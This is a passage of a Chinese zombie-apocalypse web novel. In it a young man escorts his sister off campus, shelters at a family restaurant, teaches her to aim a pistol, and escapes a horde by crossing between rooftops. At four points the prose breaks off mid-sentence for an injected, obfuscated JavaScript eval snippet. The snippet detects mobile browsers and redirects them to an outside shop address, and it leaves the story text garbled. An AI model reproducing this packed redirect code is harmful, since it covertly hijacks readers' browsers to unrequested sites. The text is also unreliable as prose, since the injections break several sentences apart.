他们刚才的动静声太大了,不仅楼下的丧尸开始汇聚,楼上似乎也吸引来了不知道是人是鬼的东西。 “走!” 成晏当机立断,立刻带着阮时卿沿着扶手往下跑,台阶上散落的空水瓶被踢到一旁,发出哐啷的响动,然而他们也不顾上了。 二楼游荡的几只丧尸闻声而来,一股奇迹的大风突然从半开的窗户呼啸着涌进来,像有意识般地拖住了那些怪物的脚步。 他们因此趁机逃出了宿舍楼。 外面的情况果然还不算太糟糕,一眼看上去只有几只游荡的丧尸,但宿舍楼处在整个大学的西南角,离南门比较近,但途中要经过其他几栋宿舍楼、食堂、学生活动中心和操场,不知道会遇到什么危险。 “相信我,我会带你逃出去的。”成晏的声音在耳畔响起,他似有所感地看了过来,眼中的狠戾早已褪去。 阮时卿没有多说什么,只是强撑着发酸的腿根紧紧跟在他身后,绕过一个又一个路口,心口被莫名的情绪盈满。 其他的丧尸穷追不舍地跟着,她一点也不敢松懈。 路过食堂的时候,已经陆陆续续有好多学生都往门口汇集,大喊着开门,然而里面那群人似乎在争执,迟迟不开。无奈之下,那些学生便朝地底下的超市跑过去。 跑到操场前方的垃圾站时,她看到了一辆三轮车!好像是每天来回收废品的那位老爷爷的。但她没有看见他的人。 “别去!”成晏的呼声将她的目光拽了回来,手紧握着她的,丝毫未松。 阮时卿不解地回头,只见他收好武器,把身后的背包取下来背在身前,随即弯腰蹲下来,只以宽阔的背脊对着她,一缕金黄的天光正好照在他汗湿的发尾。 “累了就上来。哥哥背你。”他十分平静地说,语速稍快。 “不用,我还可以……” 成晏直接打断了她的话,“再说下去鼻子就要变长了。” “……” 脚跟的酸软和几乎一夜未睡的困倦在兴奋褪去后一起涌上来,叫嚣着丢盔卸甲。 阮时卿攀上了他的背脊,大腿随即被他的臂膀有力地托起,悬在身侧。成晏把她往上颠了颠,背得更稳来些,即刻开始狂奔。 清晨的风带着露骨的凉意,她把戴着帽子的头深深埋在他的脑后,他粗重的喘息声变得格外清晰。 她这才知道,原来刚才他一直迁就着她的步伐有意放慢,现在背着她反而跑的更快,丧尸逐渐被甩在身后。 他到底经历了怎样的魔鬼训练?他从来不说,她问也不说,所以她渐渐地也就不怎么开始过问他的生活了。 阮时卿回头一看,只见很多人都朝那辆三轮车跑过去,有人突发变异咬断了一个人的脖子,鲜血喷到了另一个人的脸上,引起尖叫连连。心里不禁发怵。 成晏背着她一直跑出校门,轻车熟路地拐进了附近一条街道。明明是最普通寻常的一天清晨,所有的店门却都紧闭着,像末日前要拆迁的老区域。 附近几只丧尸听到声响快速移动过来,却又因成晏跑得太快和七拐八拐的小道很快失去方向。 这是他们以前常来的小吃街,每次成晏来看她基本上都会带她出来吃一顿,当然,上次是特殊情况。他记得她喜欢的每一家店,哪家的奶茶好喝,哪家的深夜烤串最香,哪家的馄饨最原汁原味,有时候她懒得出来他就给她点外卖送过去,这也就助长了阮时卿不好好吃饭的习惯。 阮时卿看着他拐进了最熟悉的那个街角,“幸福小馆”的招牌赫然映进眼帘,牌面看起来很老了,被日月累积的油烟糊上了厚厚一层,掉色比较严重。 成晏没有直接在紧闭的门口停下,而是走到店面与围墙的狭窄缝隙里把她放了下来,然后抬手轻敲墙上那面老窗户。 窗户开了,屋内十分亮堂,照见了一个中年妇人的半张脸,那脸阮时卿当然认识,就是这家店的老板之一,她身后还站着另一个人。 “我去给你们开门!等着!”她用气声说。 阮时卿疑惑地看向成晏,只见他波澜不惊地点头,嘴角挂着一丝礼貌的笑意,转过头来刚好对上她的目光。 比起开口说话,小拇指先传来阵阵痒意,是他勾了勾自己的,像是安抚又像是逗弄。 阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889994|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时卿勾了回去,一切尽在不言中。 他们从后门进的。 那位妇人姓秦,她身后站着的人是他丈夫,这家店是一家夫妻店,他们勤勤恳恳经营了十年,因为时间久远,装修不及时,跟不上时代的潮流,因而新客越来越少,好在口碑还行,靠老顾客的生意维持着日常开销。 他们以前经常来这吃早饭,和老板早就互相认识了,但阮时卿觉得还没熟到末世给人开门的地步。 “路上累了吧?那边有沙发,先去坐着休息。”秦阿姨十分热情,但饱经风霜的脸上是遮不住的黑眼圈,像是有什么心事。 “我爱人在厨房做饭,你们今天留下来吃顿饭吧。外面这情况谁也不知道什么时候能好……” 成晏脱下背包,拿出了一封书信交到她手上,“您放心,他在那边很安全,这是他让我带过来的。” 阮时卿默默脱下帷帽和背包,安静地站在一旁不说话,她猜这个“他”一定是个对夫妻俩很重要的人,应该是孩子。但她现在没有精力去管那么多了,一旦安全下来身体被过度透支的虚弱感便占据了主流。 之后成晏便拉着她走到隔间里的沙发上坐着休息了。 “包给我。”成晏自己先脱了沾血的外套扔在地上,然后接过阮时卿不算很重的背包和自己的放在一起,拿出一瓶矿泉水拧开递给她。 “先别说话,嘴唇干得都要裂开了,喝口水。” 他知道她一定有很多问题,但此时此刻这些都没有她本身重要。 阮时卿喝着,对面的人则丝毫不遮掩地打量她全身上下,见她没受任何伤才完全放下心来。 “现在可以说了吗?”喝完水后她问。 “嗯,”成晏率先回答,“来之前我就和这家店的老板沟通好了,我们暂时在这修整一下,等休息好了我们再出发。” “那……你怎么过来的,不会真是走过来的吧?”阮时卿眨着一双大眼睛,充满了好奇。 成晏接过她没喝完的水就着瓶口继续喝,眼神有些无奈,“没那么寒酸,骑摩托过来的,我训练的地方离这里也不远。” “那摩托呢?” “路上坏了。” “……”阮时卿都不知道该说什么,她很想说些安慰的话,可是看他那云淡风轻的样好像也不需要安慰。 她突然想起来,“对了,你手上的伤!必须处理。” 她的手寻到他的袖口正要往上拉,就被他的另一只大手按住,“不急,你先靠在沙发上睡会,伤口我自己处理。” 他的目光变得幽深了些,语气却比平常更轻快,“明明平时睡得跟个小懒猪一样,怎么这时候不困了?” “才不是猪。”阮时卿小声反驳,适时打了个哈欠,眼皮也越来越重。 窗外的天光已经大亮,逆着身形照进来,将他整个人藏在阴影面。 她睡着了,一条温热的毯子随之覆了上来,像他的怀抱。 她做了个梦,梦里回到小时候她得了水痘,他就这样抱着她寸步不离地守着,直到天亮。 然后到了大学,她去车站送他,火车呜呜地响,拽长了千山万水的叹息。 画面又忽地充满了丧尸狰狞的脸和刺目的血,只有她身前这块地方永远是干净的,她的脚步重得像是粘在了地面上,成晏再次蹲了下来。 只是这一次,他们没有逃过末日的爪牙,成晏被率先咬断了脖子。她哭得上气不接下气,好像再也感觉不到痛。 “对不起……” “我拖累了你……” “下辈子你不要来找我了……” 5. 心结 当视线逐渐聚焦,比画面映入眼帘更快的是听到他轻柔的声音。 “做噩梦了?” 阮时卿怔忡了一瞬,心口疼痛的感觉仍挥之不去,带着他指尖温度的纸巾拂过眼睑,她才发觉自己已经泪流满面。 她抬起眼,看到成晏正低头仔细为她擦着,看起来精神不错。 “都哭成小花猫了。”他的语气轻快,“是不是还要人哄?” 阮时卿坐起来,有些难为情地偏过头,随意抹了一把脸。身上的毯子顺势滑落堆叠到腰间。 “哥,”她问,“几点了?” “不早了,第二天上午,你睡了一天。” 阮时卿猛地转过头,瞪着眼睛,“真的假的?我睡了这么久?” “假的,中午十二点。”成晏收回手,唇角上扬,“刚睡醒就是好骗。” 阮时卿无语地瞪了他的一眼,伸手就要去挠他,她怀疑过时间怀疑过自己怀疑过耳朵就是没有怀疑他。 成晏笑着按住她的手,“好了好了,不逗你了,说正经的,马上要吃饭了,再躺会。” 胃部传来轻微的灼烧感,阮时卿却还陷在刚才的梦里,没什么胃口,等她回过神来发现成晏已经抬脚走到了隔间门口。 “你去哪?” “去帮忙。你别跟来,等着吃就行。” 门关上以后,隔间又只剩阮时卿一个人,她异常敏感的听觉又再次捕捉到室外几波纷踏的脚步声尖叫声,丧尸好像多了起来。 她整理了一下自己的东西,除了防身的枪(不会用)、钢棍,没什么趁手的武器,手机虽然是满电,但还是没有信号,根本获取不到外界的信息。 她忧心忡忡——自己到底能帮上什么忙?打架不行,逃跑也跑不快,她好恨平时没有多锻炼身体,跑个八百米就半死不活了。她觉得虽然成晏嘴上不说,心里也不免会生出一点恨铁不成钢的嫌弃,万一之后……嫌她太累赘不带她了呢? 不对,不可能不带她,他们是绑定体。假如因为绑定体的身份才不得不带着她,这比直接抛弃她更令她难受。 这样被反复咀嚼的情绪被她带到了饭桌上。 一个长发形桌子,阮时卿和成晏坐一边,老板夫妻俩坐一边,她只顾埋头吃饭,什么话都不说。 成晏时不时给她夹菜,夹到有皮的鸡肉时,会先把皮剥下来放自己碗里再夹给她。因为她讨厌吃这个。 老板俩看得笑呵呵的,秦阿姨率先开了口,“你们哥妹俩关系真好啊。” 阮时卿嚼饭的动作一顿,忽地尝到一点酸涩,又伴着咀嚼深入牙根,麻痹了些许神经。 “是啊,我看着她长大的。” 她听到成晏回应,没有抬头,继续扒饭。 秦阿姨点点头,脸上的笑容淡了些,关心道,“你们爸妈身体都还好吧?就你们俩在外面,一个工作,一个读书,估计担心得很,就跟我们家那个一样……” 成晏开口打断了她,语气平淡,像是在阐述最基本的事实,“秦姨,我们没有爸妈。我们家就我和她。” 对面愣了愣神,半天没反应过来,还是宋叔叔拍了拍她的手出来打了圆场,“原来是这样,那很不容易啊,小成,又要照顾妹妹又要忙学业,你真是个好孩子,我们家那小子该多向你学学。” “谢谢叔,都是应该做的。谈不上什么好不好。”成晏低头看了眼只顾吃饭的阮时卿,眼神柔了些。 这顿饭吃得很快,成晏帮忙收拾了碗筷,然后把阮时卿单独叫到一旁。 “怎么了,从刚才吃饭起你就不对劲,和我说说有什么心事。” “干嘛和你说。”阮时卿低着头数地上有多少块砖数茶几上有多少条纹路,就是不看他。 “为什么不能和我说?”成晏凑她面前,直接对上她的视线,“你看着我。” 他的眼睛那样好看,眸光很亮,总是能把她的轮廓映得很清晰。 “我没事。”阮时卿答道。 又是这样。 没事就是有事。有事就是有大事。 成晏在心里默默叹了口气,他倒不是觉得很麻烦,而是心疼和难过。心疼她无端消耗自己的情绪,难过他走不到她心里去。 虽然刚遇见她那会,她也是这样不爱说话,有什么事总是闷在心里,一个人消耗,但和成晏相处久了,在他耐心的引导下,也就慢慢敞开了心扉,变得活泼起来。 他忘了,她骨子里依旧擅长把自己封闭起来,总需要很小心很用力地向她靠近,才能打开那层间歇性关起来的壳。 “卿卿。”他忽然叫她的小名。 “嗯?” “你还记不记得小时候有一次,你上完学回来好几天都不说话把自己关在房间里?”他看着地上某个点,像是在回忆。 阮时卿微愣,有些意外,“……记得。” 她之所以印象这么深刻,不仅是因为在学校受到了欺负,更是因为最后她打开门出来的时候家里空无一人,那时候是深夜,成晏不可能不在家。 她吓得到处去找哥哥,连拖鞋都掉了一只,最后是在门外的台阶上找到他的。她当时还小,不明白为什么他要一个人半夜跑出去,坐在台阶上受冻。 “那时候我也还小,不知道要怎么照顾另一个小孩子,你把话说出来或者哭都没关系,但是你一不说话,我就慌了神,我觉得自己没有照顾好你。但是我又不知道怎么做,也没人教我。” 成晏说这些话的时候,像是在慨叹,又像是在讲一个隔了许多个世纪的故事,嘴角甚至还能牵起一丝笑意。 “然后我就整夜整夜睡不着觉,我想哭,但我是哥哥,我怎么能哭,至少……不能让你听见。所以我就跑到台阶上去哭,本来打算哭累了就回来,没想到被你发现了。 “那一瞬间我觉得我的形象完全毁了,都怕你不会再叫我哥哥了。”他说完笑了笑,“结果一个小包子使劲抱着我喊哥哥,还不让我走,好像比我还害怕,然后我就不怕了,再也不怕了。” 听到这阮时卿也没忍住笑出了声,脸上又羞又愤,“你才是包子,最硬最不好吃的那种。” 成晏像是没听见似的,捏了捏她笑得鼓起来的苹果肌,“总算笑了?笑了就好。” 阮时卿难得没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889995|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有躲开,平静地说,“我是怕拖累你。” “什么?” 成晏愣了片刻,才意识到她是在回答最开始那个问题,脸上的笑意都消失了。 说完阮时卿紧张得攥紧了手指,她不是不想说,她只是不好意思说,这些拧巴的心思只有在内心循环的时候才有支撑它生存的养分,一旦暴露在外会让她觉得难堪。 “为什么会这么想?”成晏看向她的眼睛,冷静得几乎没有什么情绪,“因为我来找你,还是因为我背了你?” 她没有说话,算是默认。 成晏摇了摇头,“原来依赖我,信任我,也叫拖累么?哪来的歪理。你给我惹麻烦我都喜闻乐见,还说这个。” 他知道她大概在想什么,叹了口气继续说,“没人要求你无时无刻变得坚强,我不会,别人更没有资格。更何况……” 见他没有说下去,阮时卿立马追问,“更何况什么?话又只说一半。” “你看啊,刚出生的小鸟就让她飞,现实吗?” “说谁是小鸟?” “叽叽喳喳的,还说不是?” “成晏!” “没大没小,叫哥哥。”他用力地揉了一把阮时卿的头发。 “头发都被你揉乱了,你要负责给我重新扎。”她捂着脑袋,皱了皱眉。 “没问题。” “说回刚才的话,小鸟会长大,也一定会飞,能力终有一天会和期望匹配。” 成晏的目光从她的脸逐渐移到胸前那个哨子,脸上终于又有了一些淡淡的笑意,“而且,我们之间不是互相利用的关系,不存在你拖累我这种说法,除了保护你的安全,我没有必须要完成的任务。除非你不相信我能保护好你。” “我没有……”阮时卿闷闷开口,把头埋到了膝间,“我就是觉得,我做得太少了,这不公平……” “你和我之间需要讲公平吗?” 指腹的温热贴上了阮时卿的耳侧,有些痒。是他在帮她整理耳边的碎发,好听得更清。 “如果要讲公平,我就不应该比你大三岁,你就不应该喊我哥哥,我们就没有了必须要生活在一起的理由。因为如果要在一起,必然有一个人要承担得更多。 “你希望那个人是你吗。” 他不是在问,只是在平静地叙述。 阮时卿怔了怔,她从来没想过,假如承担得更多的人是她呢,她愿意吗? “我不希望。”成晏替她做出了回答,“不管你愿不愿意,我都不希望那个人是你。听到没有。” 话语不容拒绝得像命令,但阮时卿一点也讨厌不起来,反而催生了眼眶中的一点热意。 “听到了。我不会再这么想了。” “那就好。我永远不会真的对你生气,所以在我面前,你可以随心所欲。” “好大方哦。”阮时卿故意用夸张的语气说,话音陡然一转,笑嘻嘻地,“那我还挺好奇你真正生气是什么样子呢,能不能表演一个给我看。” 一股不轻也不重的风突然吹到脸上,让她连眼睛都睁不开。 哪来的邪风?! 6. 恶意 那股风只有一瞬间就消失了,阮时卿正要转头,肩膀就被某人掰了过去,面向另外一边。 “别动,我给你扎头发。” 身后的人说话带着收敛不住的笑意,手上的动作不停,修长的五指穿过发缝,熟练地收拢散发,耳边的碎发也一齐被他捻起,最后用一根随身携带的发圈紧紧固定。 他的指甲修剪得很整齐很圆润,剐蹭过头皮时并不疼,反而是舒服的痒。 “哥,刚才……” “嗯,我做的。”他很爽快地承认。 阮时卿转身,十分惊讶,“你能控风?!” “差不多,在一定范围内可以。”成晏解释道,“我猜应该是跟玩家身份绑定的特殊异能,说不定你也有。” 阮时卿托腮思忖,眉头深深皱起,“这么说好像是有点……我的听觉比以前要好很多,比如现在,我能听清屋外大概有几只丧尸在附近徘徊。” “听觉增强?原来是这样。”成晏也思考了一会,目光中满是肯定,“这个异能作用很大,特别是在视觉受限的环境中,不愧是我妹妹。” 说完他便转身去拿背包,“时间不早了,我们不能等到太阳落山再走,现在收拾东西。” 阮时卿点了点头,也一起去帮忙。 秦阿姨听到动静跑来看了一眼,语气担忧,“欸,你们现在就要走吗?要不住一晚再走吧,我们家有多余的床。” 成晏礼貌地婉拒,“不了,谢谢您的好意,我们已经叨扰够久了。” 见他坚持,秦阿姨一家都没再劝。但很快,她提了一个装了些新鲜蔬菜和水果的袋子过来,手里还拿了件干净的衣服。 “小成,把这些带上吧,不是什么值钱的东西。还有这个,外套我帮你洗干净了,你们路上小心啊。”她把东西放下,身上还穿着那件洗得发白的挂衫,手指卷着衣角,好像有话没说完。 在生存堪忧的末世,善意是最稀缺的东西,明明被人弃之敝履,却又足够让人铭记于心。 “谢谢您,不过这些东西您和叔自己留着吃吧,我们家里有。”成晏走过来穿上那件外套,等着她的下文。 “你……要是之后看到了我们家宋轩,替我们告诉他我们都还好好活着,让他一定要多注意啊,我们最放不下心的就是他了……”说着秦阿姨竟哽咽起来,忍不住抹了把泪,她打量着眼前这个身形高大眉眼坚毅透着一股少年气的小伙,就像是看到了自己的孩子,所以对他的亲近是自然而然的。 “好,我会的。” …… 东西都收拾好以后,阮时卿正要背上背包,却听到成晏在另一边喊她。 “卿卿,你先过来。” 他拿着那把给她的枪,上下仔细打量着,把弹匣拆了下来。 阮时卿走到他面前,没说话,而是和他一同打量,枪身轻巧精致,金属表层线条硬朗,有暗色涂层,枪口连接处有一截直径略粗的金属圆管。 “那是什么?”她指着那个圆管。 “消音器。”成晏言简意赅地回答,握着她的手打开,把枪放在了掌心,“这是QSW-06手枪,你先拿着感受一下,试着瞄准一个东西。” 这是阮时卿第一次如此正式地用它,难免有些紧张。她用右手的虎口抵住枪托后方握住,学着记忆里电视上的样子,把食指放在扳机处,然后抬起绷直的手肘对准远处摆放在墙角的花瓶,姿态有些僵硬。 一只大手从后方伸过来,轻轻托住了她的手臂,然后是滚烫的胸膛,紧贴上她的后背,阮时卿又僵了一下。 他要比她高出整整一个头,她一转头就能碰到他的臂膀,这是她第一次如此直观地感受到他们之间的差异。 “放松,手不用伸得这么直,浪费力气。”他的声音从头顶传来,低哑温热,她的手肘在他的调整下转为了微曲的姿态。 “很好。左手也放上来,一起握住。” 阮时卿照做,枪被托得更稳了些。成晏的右手随之移到她的手边,拇指轻轻向后拨动了一下握把上方的小拨片。 “这是关闭保险,表示可以开枪,记住了吗?” 阮时卿点点头,她觉得自己的脸颊热得发烫。 “现在,想象你对准的是一只丧尸,尝试瞄准它的头部。” 阮时卿不自觉歪了头,向枪靠近几分,结果一双大手罩住了她的脸侧,轻轻掰正。 “头不要歪。”他的声音再次传来,“三点一线,枪口的准星,照门的缺口,还有你的目标。让它们连成一条线。” 阮时卿努力调整着视线,想象前方是一只摇摇晃晃正朝自己走来的丧尸,呼吸下意识一紧,手心很快出了汗。 “别紧张。我在你身后。”他的脸微微低下来,贴在她的耳侧,身体又朝她靠近了一些,几乎是将她整个人护在怀里。 “可以吗?”他问。 “嗯。”阮时卿不敢动,敏锐的听觉能让她听见身后人沉稳有力的心跳,自己的反倒乱了。好像有什么在肉里膨胀、生长,惊扰了原来的秩序。 “然后是呼吸。”他继续说,“开枪前,先深吸一口气,慢慢地吐出来。在下一次吸气开始前,有那么一瞬间,你的身体是完全静止的。那就是最好的时机。” 阮时卿深吸一口气,再慢慢吐出,整个人开始绷紧。 “最后,是扳机。”他的手覆上来,带着她慢慢调整,“不要用指尖去勾,用第一节指腹。力量要均匀稳定,向后扣到底。” 他的指腹,隔着她的手指,压在了冰冷的扳机上。 “就像这样。” 他说完,手指开始用力。阮时卿下意识闭上眼睛。 “不许闭眼。”他的声音温度迅速褪至冰冷,有些凌厉,“看着。” “咔——”扳机被扣到了底。 像是一声信号,让阮时卿绷紧的神经瞬间松弛下来。她往前走了一步,从成晏怀里挣脱出来,有些倔强地说,“我自己来。” “好。你再多练练,等会教你换子弹和上膛。” 他没有打扰她,而是退到一旁,保持着不远不近的距离,也是能让她伸展开羽翼却又不至于完全暴露在危险之中的距离。 就这样,太阳在空中荡过快半轮时,他们动身了。 “卿卿,利用你的听觉,帮我判断这附近的丧尸数量。” 他们躲在墙后,成晏挡在阮时卿身前,手上依旧拿着那把匕首,一幅蓄势待发的模样。 “前面路口左拐有很多,右拐好像有三只,”她突然睁眼,“等等,左拐不止有丧尸,我还听到了人声……” “能听得清在说什么吗?”他回头问道。 “听不太清,好像在说什么……‘面包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889996|192207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’‘诱饵’?”她的语气有些怀疑。 “好,我们走右边。”成晏果断地下了命令,率先走了出去,很快解决了一只在垃圾桶附近游荡的丧尸。 阮时卿随后跟上,他们直接拐进了右边那条小路,平顶式的楼房一字排开,那两三只丧尸很快缠了上来,发出兴奋的嘶吼。 然而它们好像比之前更加难缠,成晏一脚踹在其中一只腹部,只是让其后退了一步。他飞快地运刀,在它们身上划出一道又一道深可见骨的伤痕。 “嗬——”离他最近的那只发出愤怒的嘶吼,朝他撞了过去。 成晏刚对付完另一只丧尸,来不及躲,他摆出惯用的反击招式,本以为能将它击退,却没想到它的力气涨了数倍!他侧过身以减小伤害,却还是被撞到了身后的杆子上,发出一声痛哼。 “哥!” 阮时卿惊呼一声,蓄满力气将手中的铁棍狠狠甩过去,将它的后脑勺砸出血来,却也因此吸引了火力。 她不得不掏出枪来,对准它的头颅,上膛,心几乎要从胸口跳出来。 “噗——” 一颗子弹精准地射入它的头部,血花四溅。它直直地倒在了地上。 阮时卿放下枪,大口大口喘息着,尽管虎口被震得发麻,脑子里还是不停回放着刚才那丧尸朝自己奔来的场景。 她成功了! “做得很棒!”成晏很快赶过来,看起来像个没事人一样,“这里不安全,我们快走。” 阮时卿信心大涨,跟着他的脚步也快了起来。 一路上废弃的车辆很多,他们借着汽车的掩体小心地避开那些零零散散的丧尸,朝着前面一家车行奔去。 不知道为什么,阮时卿总觉得有一股强烈的视线盯着自己,盯得她头皮发麻。她忽地听到一种像发现猎物的音调偏高的嘶吼,透着一股无与伦比的兴奋—— 从头顶传来的! “哥!”她扯了一把成晏的袖子,下意识喊道。 果然,一滴黏腻的口水直直地从他们头顶落下,一张眼球凸起,咧开嘴角在笑的狰狞脸庞对着他们,那只丧尸几乎大半个身子都横在窗外,几乎立马就要跳下来将他们扑倒。 还是成晏率先做出了反应,双手紧紧环住阮时卿的腰,自己则向前大跨一步不可避免地倾倒,垫在她的身下,地面上的小石子硌得他生疼。 阮时卿回头一看,那只丧尸正好落在他们刚才站的地方,要是再晚一秒,她不敢想象。 成晏抱着她翻了个身,继续躲过了它下一秒一猛扑,随后迅速起身,抬脚踩在它的颈部,匕首以一个极其刁钻的角度揳入了它的后脑勺。路面的积水忽地变得鲜红,映得他面容生怖。 脸上的血被拇指刮去,他的目光没有半分停留,立刻转到了身旁的人身上。 “怎么样,还好吧?”他握住她的手将她拉起,拍了拍她身上的灰。 “哐啷——” 一股巨大的噪音突然降落在他们附近,是来时的那个方向,离路口很近。 是一堆垃圾!大部分是易拉罐,砸到地面后朝四处滚落。 阮时卿立刻朝上方看去,一扇窗户刚好被关上,将扭曲的人性藏在幕后。 路口另一侧黑压压的丧尸群忽地齐齐转头,看到两个活物,露出了垂涎的目光。 “快跑!” 7. 天堑 丧尸一旦有了明确的目标,就会不死不休地追逐,四肢爆发出极其诡异的速度。 尸群更是如此,它们翻踩过堆叠的死尸、混乱的车头、腥臭的腐肉,密密麻麻地蠕动,像恶心至极的蛆虫。 成晏几乎是立刻扯过阮时卿的手往前奔逃,情况越是紧急他越是冷静,甚至动用了异能,助推了逃跑的速度。 喉间的腥气一下下滚过舌尖,阮时卿机械地迈动着双腿,眼前阵阵发黑,就好比跑八百米最后那一百米那种躯体过载脑子短路的状态,只不过看不到尽头的跑道变成了人生的尽头。 “这边!” 他没有一直往前跑,而是带着她推开了一扇生了锈的铁门,拐进一处狭窄的楼道。 “锁坏了!” 阮时卿本来想关门,却见铁门的锁好像被认为破坏过,怎么也关不上,急得快要哭出来。 成晏迅速从背包里拿出了一根韧性极好的绳子,穿过铁门间的缝隙和扶手的栏杆绕了几圈卡在地上的门缝里。 尽管如此,面对庞大的尸群怕是也撑不了多久。 “走!” 说完他便继续拉着她向上跑,这栋楼比较老旧,墙壁上到处都是油印广告,成晏尝试过敲一两扇门,没有任何动静,便放弃了,好在楼道内没有丧尸。 大约上到五楼,便只有一扇通上楼顶天台的铁门,旁边聚满了各种杂物。 那扇铁门没有锁,很轻易就被推开。他们反锁了门,站在天台上,那里没有人,只有一个小小的雨棚和一杆晾衣架,四周都是悬空的,根本无处可去。 咚——咚——咚—— “哥,那些丧尸在撞门!” 有时候听觉太敏锐也不是件好事,阮时卿能听到极其细微的低语,也能听到被放大无数倍的惊悚嘶鸣,很痛苦。 “嗯,知道了。” 成晏应了一声,直接丢下背上的背包,迅速朝周围打量。五楼不是一个安全的高度,他走到平台边缘蹲下,目光落在远处,不知道是在看什么。 “哥,它们上来了!”阮时卿再次喊道。 丧尸的嘶吼由远及近,地下的楼道传来明显的震动,她走到门口往下看,视野里全是攒动的黑压压的头。 没时间了。 成晏率先捞起背包用力一甩,甩到了天台另一侧——与这栋楼相邻的另一栋居民楼天台上。 两栋楼之间大概有四五米的距离,对普通人来说是无法逾越的天堑。 “卿卿,包给我!”他说。 阮时卿不会看不出来他想做什么,完全愣住了,“你要……” “嗯,我们跳过去。”成晏大步走来,接过她手里的包如法炮制,最后稳稳地落在他的背包上方。 阮时卿觉得不可能,她往前深深地看了一眼,楼间的间距比她整个人还长,像一道裂开的山谷,一不小心就会跌落成泥。但此时此刻她说不出任何拒绝的话来,因为丧尸已经快到门口了。 成晏很快找到了一卷废弃的消防水带。他试了试水带的韧性,很结实。 “我先过去,然后把水带固定好,你再顺着水带爬过来。”他迅速制定了计划。 “不行!”阮时卿立刻反对,“万一不成功……” “没时间了。”成晏打断了她,他看了一眼那扇已经严重变形的铁门,声音十分坚决,“相信我。 “我会带你回家。” 就像初次相遇时他说的那样。 阮时卿眼眶一热,她踮脚用力拥抱了一下他,所有的言语所有的信任和担忧都化作了相触时滚烫的体温。 成晏的身体僵了一瞬,然后紧握住她的手,像是用这种方式让她放心。 他将消防水带的一头在自己腰上缠了几圈,打了几个死结,另一头则牢牢地绑在天台一个粗大的水泥墩上。然后后退到天台的另一端,为自己留出足够的助跑距离。 “砰!” 就在这时,铁门被彻底撞开了。 两三只丧尸嘶吼着冲了进来,它们闻到了新鲜血肉的味道,兴奋地朝这边扑来! 成晏不再犹豫,就在丧尸冲向他的瞬间,他猛地启动,像一支离弦的箭,向着天台的边缘冲去! 他的速度快到了极致,在冲到边缘的最后一刻,用尽全力奋力一跃,身体在空中划出了一道惊心动魄的抛物线。 阮时卿吓得屏住了呼吸。 他背后不知道什么时候划出的伤口因为剧烈的动作而再次裂开,鲜血瞬间弥出浸湿了背部的衣料,染红了灰色的天空。 他越过了那段死亡的距离,重重地落在了对面居民楼的天台上。因为巨大的冲击力,他在地上翻滚了好几圈才停下来,腰间的水带被绷得笔直。 成晏顾不上查看自己的伤势,立刻爬起来,以最快的速度解开腰间的水带,将它固定在对面天台一根粗壮的晾衣杆上。 “卿卿!快!”他大喊道,声音因为力竭而嘶哑。 阮时卿如梦初醒。 那几只丧尸已经冲到了她的面前! 她想也不想,用手中的钢棍朝最前面的丧尸砸去,它被砸得一个趔趄,但很快就稳住了身形,张开血盆大口朝她咬来! 她刚往后退了几步,脚下却被什么东西绊了一下,一屁股摔在了地上,瞬间被绝望攫住。 就在千钧一发之际,一道黑影从天而降,精准地砸在了那只丧尸的头上——是成晏扔过来的一块砖头! 丧尸的头被砸得凹下去一块,动作迟缓了一瞬。 “抓住水带!”他的声音十分急切,如同惊雷炸响。 阮时卿回过神来,手脚并用地爬到天台边缘,抓住了那根冰冷而粗糙的消防水带。水带被拉得很紧,像一条连接生死的绳索。 “别往下看!看着我!”成晏在对面伸出手,“相信我,爬过来!” 阮时卿咬紧牙关,心一横,闭上眼睛翻身爬出了天台的护栏。 她的身体随之悬在了空中,脚下是几十米的高,冰冷的风从四面八方灌进衣服,吓得手脚发软,几乎要抓不住水带。 然而又有一股风从某个特定的方向游弋过来,像一张温暖的大手轻轻托住她的身体,让她不再那么害怕。 “卿卿!” 阮时卿听到成晏的声音,心里一酸,紧闭的双眼又成了泪水的温床。她深吸一口气,用尽全身的力气,手脚并用,一点一点地朝他的方向爬去。 丧尸的嘶吼声就在耳边,但她好像已经听不到了。她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 